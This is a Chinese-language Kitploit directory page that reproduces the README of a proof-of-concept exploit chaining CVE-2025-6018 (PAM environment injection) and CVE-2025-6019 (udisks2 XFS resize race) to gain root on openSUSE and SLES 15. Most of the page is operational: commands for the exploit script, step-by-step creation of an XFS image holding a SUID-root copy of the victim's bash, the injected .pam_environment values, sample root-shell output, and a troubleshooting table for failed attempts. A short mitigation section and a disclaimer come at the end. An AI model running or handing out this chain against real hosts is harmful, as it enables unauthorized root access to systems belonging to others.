Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2025-6018-6019 — CVE-2025-6018 CVE-2025-6019 PoC 漏洞利用 - openSUSE/SUSE Linux Enterprise 15 中的本地权限提升 - PAM 绕过 + udisks2 XFS 竞态条件 LPE 提权至 root | Kitploit
工具/GitHubGitHub/desertdemons/cve-2025-6018-6019
权限提升漏洞分析漏洞利用渗透测试论文与研究学习与教育二进制利用
GitHubdesertdemons/cve-2025-6018-6019

CVE-2025-6018-6019

CVE-2025-6018 CVE-2025-6019 PoC 漏洞利用 - openSUSE/SUSE Linux Enterprise 15 中的本地权限提升 - PAM 绕过 + udisks2 XFS 竞态条件 LPE 提权至 root

查看仓库
4125个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2025-6018 CVE-2025-6019 PoC 漏洞利用

本地权限提升(LPE)- openSUSE / SUSE Linux Enterprise 15

CVE-2025-6018 CVE-2025-6019 PoC Exploit License

适用于 CVE-2025-6018 和 CVE-2025-6019 的有效 PoC/漏洞利用 - 在 openSUSE Leap 15.x 和 SUSE Linux Enterprise 15.x 上实现从非特权用户到 root 的权限提升

🎯 快速摘要

CVE ID漏洞影响
CVE-2025-6018PAM 环境变量注入绕过以获取 allow_active polkit 状态
CVE-2025-6019udisks2/libblockdev XFS 调整大小竞态条件root shell

攻击链

root@kitploit:~
Unprivileged SSH User → [CVE-2025-6018] → allow_active → [CVE-2025-6019] → ROOT

🔥 概念验证(PoC)演示

root@kitploit:~
# Check vulnerability
./exploit.sh --check

# Setup PAM bypass (CVE-2025-6018)
./exploit.sh --setup

# Reconnect SSH, then: su - $USER

# Exploit (CVE-2025-6019)
./exploit.sh --exploit /tmp/xfs.img

# Result: ROOT SHELL
uid=1000(user) gid=1000(user) euid=0(root)

📥 安装

root@kitploit:~
git clone https://github.com/DesertDemons/CVE-2025-6018-6019.git
cd CVE-2025-6018-6019
chmod +x *.sh

🎯 受影响系统

  • ✅ openSUSE Leap 15.0, 15.1, 15.2, 15.3, 15.4, 15.5, 15.6
  • ✅ SUSE Linux Enterprise Server (SLES) 15 SP1-SP6
  • ✅ SUSE Linux Enterprise Desktop (SLED) 15 SP1-SP6

⚠️ 注意: openSUSE Leap 15.6 将于 2026 年 4 月 30 日 终止支持(End of Life)。此后将不再发布安全补丁。用户应迁移到 Leap 16.0 或具有扩展支持的 SLES。

受影响组件

  • PAM(Linux-PAM 1.3.0 - 1.6.0),启用 user_readenv=1
  • udisks2 2.9.x,配合 libblockdev
  • polkit(针对 udisks2 操作配置了 allow_active: yes)

📖 使用方法

选项 1:检查漏洞

root@kitploit:~
./exploit.sh --check

选项 2:设置 PAM 绕过(CVE-2025-6018)

root@kitploit:~
./exploit.sh --setup
# Then: exit SSH, reconnect, run: su - $USER

选项 3:漏洞利用(CVE-2025-6019)

root@kitploit:~
./exploit.sh --exploit /tmp/xfs.img

选项 4:全自动模式

root@kitploit:~
./exploit.sh --auto /tmp/xfs.img

选项 5:显示镜像创建说明

root@kitploit:~
./exploit.sh --create-image

🛠️ 创建 XFS 载荷镜像

在攻击者机器上以 root 身份运行:

⚠️ 你必须使用目标主机的 /usr/bin/bash 二进制文件,而不是本机的。来自不同发行版(Kali、Arch、Ubuntu 等)的 bash 二进制文件会因 glibc/共享库 ABI 不匹配而在目标上运行失败——即使在相同的 x86_64 架构上也是如此。

使用辅助脚本(推荐)

该脚本会自动检测你的 xfsprogs 版本并应用正确的标志:

root@kitploit:~
# Get victim's bash first
scp user@target:/usr/bin/bash /tmp/victim_bash

# Create image (auto-detects safe mkfs flags)
sudo ./create_image.sh /tmp/victim_bash xfs.img

# For SUSE 15 SP1-SP4 targets (kernel < 5.14), use compatibility mode:
sudo ./create_image.sh --compat /tmp/victim_bash xfs.img

手动创建

root@kitploit:~
sudo su -

# 1. Get victim's bash binary
scp user@target:/usr/bin/bash /tmp/bash

# 2. Create 300MB XFS image with safe flags
dd if=/dev/zero of=xfs.img bs=1M count=300
mkfs.xfs -f -i exchange=0 -n parent=0 xfs.img

# 3. Mount with SUID support
mkdir -p /tmp/mnt
mount -o loop,suid xfs.img /tmp/mnt

# 4. Copy victim's bash and set SUID bit
cp /tmp/bash /tmp/mnt/xpl
chmod 4755 /tmp/mnt/xpl
chown root:root /tmp/mnt/xpl
ls -la /tmp/mnt/xpl  # MUST show: -rwsr-xr-x

# 5. Unmount and transfer
umount /tmp/mnt
scp xfs.img user@target:/tmp/

XFS 格式兼容性

XFS 镜像必须使用与目标内核兼容的标志进行格式化。较新版本的 xfsprogs 默认会启用旧版 SUSE 内核无法读取的磁盘特性,导致 udisks2 调整大小挂载时出现 wrong fs type, bad superblock 错误。

目标内核mkfs.xfs 命令
SUSE 15 SP5-SP65.14 / 6.4mkfs.xfs -f -i exchange=0 -n parent=0 xfs.img
SUSE 15 SP1-SP44.12 - 5.3mkfs.xfs -f -m crc=0,reflink=0 xfs.img

为什么? exchange 和 parent 是内核 6.10+ 的特性(在 xfsprogs 6.x 中默认启用)。bigtime、inobtcount 和 nrext64 是内核 5.10+ 的特性。SP1-SP4 的“兼容”命令(-m crc=0,reflink=0)会创建禁用所有现代特性的 V4 XFS 格式,适用于所有 SUSE 15 SP。

🔬 技术细节

CVE-2025-6018:PAM 环境变量注入

漏洞原理: PAM 的 pam_env 模块在启用 user_readenv=1(SUSE 的默认配置)时会读取 ~/.pam_environment,从而允许注入环境变量。

利用方法: 设置 XDG_SEAT=seat0 和 XDG_VTNR=1,欺骗 systemd-logind 授予 allow_active polkit 权限。

root@kitploit:~
# ~/.pam_environment
XDG_SEAT=seat0
XDG_VTNR=1

CVE-2025-6019:XFS 调整大小竞态条件

漏洞原理: 通过 udisks2 调整 XFS 文件系统大小时,libblockdev 会临时挂载该文件系统,并且不带 nosuid 标志。

利用方法:

  1. 创建包含 SUID root 二进制文件的 XFS 镜像
  2. 设置 loop 设备
  3. 通过 D-Bus 触发调整大小
  4. 在临时挂载期间竞态执行 SUID 二进制文件
  5. 获取 root shell

📋 完整漏洞利用演练

第 1 步:检查漏洞

root@kitploit:~
./exploit.sh --check

输出:

root@kitploit:~
[+] pam_env.so found in PAM configuration
[+] pam_systemd.so found - escalation vector available
[+] Target OS is vulnerable (openSUSE/SLES)
[-] allow_active status: NO

第 2 步:设置 PAM 绕过

root@kitploit:~
./exploit.sh --setup
exit
ssh user@target
su - $USER

第 3 步:验证 allow_active

root@kitploit:~
./exploit.sh --check

输出:

root@kitploit:~
[+] allow_active status: YES
    You have allow_active privileges!

第 4 步:传输 XFS 镜像

root@kitploit:~
# On attacker:
scp xfs.img user@target:/tmp/

第 5 步:漏洞利用

root@kitploit:~
./exploit.sh --exploit /tmp/xfs.img

输出:

root@kitploit:~
[+] Loop device created: /dev/loop0
[+] Loop device verified as XFS
[*] Starting race condition loop...
[*] Triggering XFS resize on loop0...

=== ROOT SHELL OBTAINED ===
uid=1000(user) gid=1000(user) euid=0(root) groups=1000(user)

root@target#

🔧 故障排除

🛡️ 缓解措施

立即修复

root@kitploit:~
# Disable user_readenv in PAM
sed -i 's/user_readenv=1/user_readenv=0/g' /etc/pam.d/common-auth

# Or restrict udisks2 polkit policy
# Change allow_active from "yes" to "auth_admin"

厂商补丁

  • 更新 PAM、udisks2 和 libblockdev 软件包
  • 查看 SUSE 安全公告

📚 参考资料

  • Qualys 安全通告
  • Qualys 技术详解
  • SUSE CVE-2025-6018
  • SUSE CVE-2025-6019
  • NVD CVE-2025-6018
  • NVD CVE-2025-6019

🏆 致谢

  • Qualys Threat Research Unit - 漏洞的原始发现者
  • DesertDemons - PoC 漏洞利用开发
  • Jazzruran - xfsprogs 版本不匹配问题的报告与修复(#1)

⚠️ 免责声明

本工具仅用于经授权的安全测试和教育目的。未经授权访问计算机系统属于违法行为。作者不对任何滥用行为负责。

📄 许可证

MIT 许可证


🔍 关键词

CVE-2025-6018 CVE-2025-6019 PoC Proof of Concept Exploit Privilege Escalation LPE Local Privilege Escalation Root openSUSE SUSE SLES PAM pam_env udisks2 libblockdev


⭐ 如果这个仓库对你有帮助,请给它点个星标!⭐

下载工具
问题原因解决方案
allow_active: NOPAM 绕过未生效运行 --setup,退出 SSH,重新连接,执行 su - $USER
Image is not XFS文件系统格式错误使用 mkfs.xfs,不要用 mkfs.ext4
SUID not working权限未设置在攻击者机器上确认 -rwsr-xr-x 权限
Race condition missed时序问题再次运行漏洞利用(通常 1-3 次即可成功)
SUID 二进制文件段错误或提示 GLIBC_x.xx not foundbash 二进制文件来自错误的发行版(glibc/ABI 不匹配)使用通过 scp 获取的目标主机 /usr/bin/bash 二进制文件,而不是本机 bash
Resize output: Error resizing filesystem on /dev/loopN: Failed to mount '/dev/loopN' before resizing it: wrong fs type, bad option, bad superblock on /dev/loopN, missing codepage or helper program, or other errorXFS 镜像是用目标内核无法读取的特性格式化的(xfsprogs 版本不匹配)为 SP5/SP6 创建镜像时使用 mkfs.xfs -f -i exchange=0 -n parent=0 xfs.img,为 SP1-SP4 创建镜像时使用 mkfs.xfs -f -m crc=0,reflink=0 xfs.img
XFS
Race Condition
Security
Vulnerability
Pentest